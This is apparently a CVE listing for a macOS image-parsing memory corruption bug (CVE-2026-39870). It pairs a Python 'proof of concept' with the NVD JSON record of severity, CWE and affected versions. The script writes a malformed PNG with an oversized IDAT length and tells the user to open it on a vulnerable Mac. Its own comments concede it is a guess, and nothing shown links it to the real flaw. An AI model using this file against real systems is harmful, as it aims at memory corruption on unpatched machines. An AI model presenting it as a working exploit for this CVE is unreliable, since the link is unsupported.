CVE-2026-39870

import struct # PoC for CVE-2026-39870 Concept # This script generates a potentially malicious image file structure to test memory handling. # Note: Actual exploitation requires specific knowledge of the memory layout and image parser. def create_malicious_image(filename): # Start with a valid header (e.g., PNG signature) png_header = b'\x89PNG\r\n\x1a\n' # Construct a malicious chunk to trigger memory corruption # Using an excessive length value to potentially bypass bounds checks chunk_length = struct.pack('>I', 0xFFFFFFF) chunk_type = b'IDAT' # Dummy data chunk_data = b'A' * 100 chunk_crc = struct.pack('>I', 0x00000000) with open(filename, 'wb') as f: f.write(png_header) f.write(chunk_length) f.write(chunk_type) f.write(chunk_data) f.write(chunk_crc) print(f"[+] Malicious file generated: {filename}") print("[+] Attempt to process this file on a vulnerable macOS version.") if __name__ == "__main__": create_malicious_image("cve_2026_39870_test.png")

{"cve": {"id": "CVE-2026-39870", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:59.947", "lastModified": "2026-05-13T14:39:49.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Processing a maliciously crafted image may corrupt process memory."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.7", "matchCriteriaId": "DD9E7FAE-30DA-4B2B-A63A-6DFEA7A29933"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.7", "matchCriteriaId": "2984C440-3DC2-413A-B5FA-1FAB21078DB8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127116", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127117", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}